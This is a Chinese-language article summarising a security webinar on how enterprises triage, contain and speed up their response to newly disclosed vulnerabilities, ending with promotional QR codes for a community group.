+当漏洞利用越来越快，企业真正需要回答的已经不是“有没有收到情报”，而是：能多快完成判断和行动？ + + +本期播客内容整理自FreeBuf线上 +直播研讨会 +《 +漏洞刚披露，攻击已经开始：企业的响应窗口还剩多久？ +》。 + + +直播邀请两位企业一线安全从业者——田先生（某互联网平台｜安全工程师）、江鹏（某全球支付平台｜安全从业者），围绕漏洞披露后的真实响应链路，重点讨论了4个问题。 + + +扫描二维码，至知识大陆APP可收听完整播客内容： + + +![](https://mmbiz.qpic.cn/mmbiz_png/icBE3OpK1IX1nIvIY0IOoicYP4JiczyxjrkjnJLJUKzfO5JyibFiafdwVu6VUcccegd78ANVpIQjRGRn5h5LxRBwp7EFwE3DKKGRT6NA7Sug2OPk/640?wx_fmt=png&from=appmsg "") + + +以下是本期核心观点。 + + +**01 什么情况下** + +**漏洞该升级成“安全事件”？** + + +高危不一定意味着企业此刻就处于最高风险。 + + +真正需要结合判断的，是PoC、真实利用、资产暴露以及业务重要性。 + + +相比单纯看CVSS分数，更重要的是确认：外部威胁和企业自身资产之间，是否已经形成真实攻击路径。 + + +**02 第一小时** + +**关键不是“全部查完”** + + +紧急漏洞出现后，真正拖时间的往往不是看不懂漏洞，而是无法快速把情报和资产、版本、暴露面对应起来。 + + +第一小时的目标，不一定是把所有资产全部查完，而是优先确认高风险资产和公网暴露面，尽快形成能够支持下一步行动的判断。 + + +**03 补丁打不了** + +**先把风险压下来** + +**** + +现实环境里，补丁并不总能马上上线。 + + +当真实利用已经出现时，可以先通过收缩公网暴露、限制访问来源、增加WAF或IPS临时策略、强化重点监控等方式，降低被成功利用的概率。 + + +临时止血不能代替修复，但能为正式补丁争取时间。 + + +**04 小时级响应** + +**很多准备要提前做** + +**** + +响应慢，很多时候并不是技术动作慢，而是资产、责任人、权限和跨团队协同没有提前理顺。 + + +想把漏洞响应从“天级”压到“小时级”，关键是提前打通情报、资产、授权和协同链路，把能自动化的环节尽量前置。 + + +05 结语 + + + +漏洞情报只是起点。 + + +当攻击越来越快，企业真正需要提升的是从“知道发生了什么”到“知道该怎么做”的速度。 + + +更快判断影响，更快压缩风险，也让下一次响应不再从找资产、找负责人开始。 + + +如果你近期也在关注重点漏洞 + +真实攻击利用和企业侧风险 + +可以添加「小星星」 + +回复「XVI」进群 + +群内将持续同步近期重点漏洞 + +攻击利用动态及企业侧风险提醒 + +👇 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icBE3OpK1IX2oeIu7ctYJFznyeH8AXur5zlNomntNibbo0OTfedtaAMaWM04DZ6K17GG34aoAiaLNYNY89khVzDG0icP6MXUoR7kiabFiadH7v4u8/640?wx_fmt=png&from=appmsg "") + + +### 推荐阅读 + + + +### + +### 电报讨论 + + + + +![扫码加入AI安全交流群](https://mmbiz.qpic.cn/mmbiz_png/icBE3OpK1IX0Py7ibxdLKXia1pMziaic5vIE9XPXG9OGaeJDa07iaG10eicuzhW59nwpF5msHiaYZvfMqCNkx2aFDiaMzm3oAf4rTaHXU5UAI1mUYgts/640?wx_fmt=png "") + + + +![下载FreeBuf知识大陆APP](https://mmbiz.qpic.cn/mmbiz_png/icBE3OpK1IX0TIGzII2Hcmtzu7AJeZFicnqd1mXojVoawje2uLxYqwJbVgzJpmSXzVhrpOsLurRZ2lVa4vfgLBqg7uJKbrKg5F18VzZxVPicZU/640?wx_fmt=png "") + + + +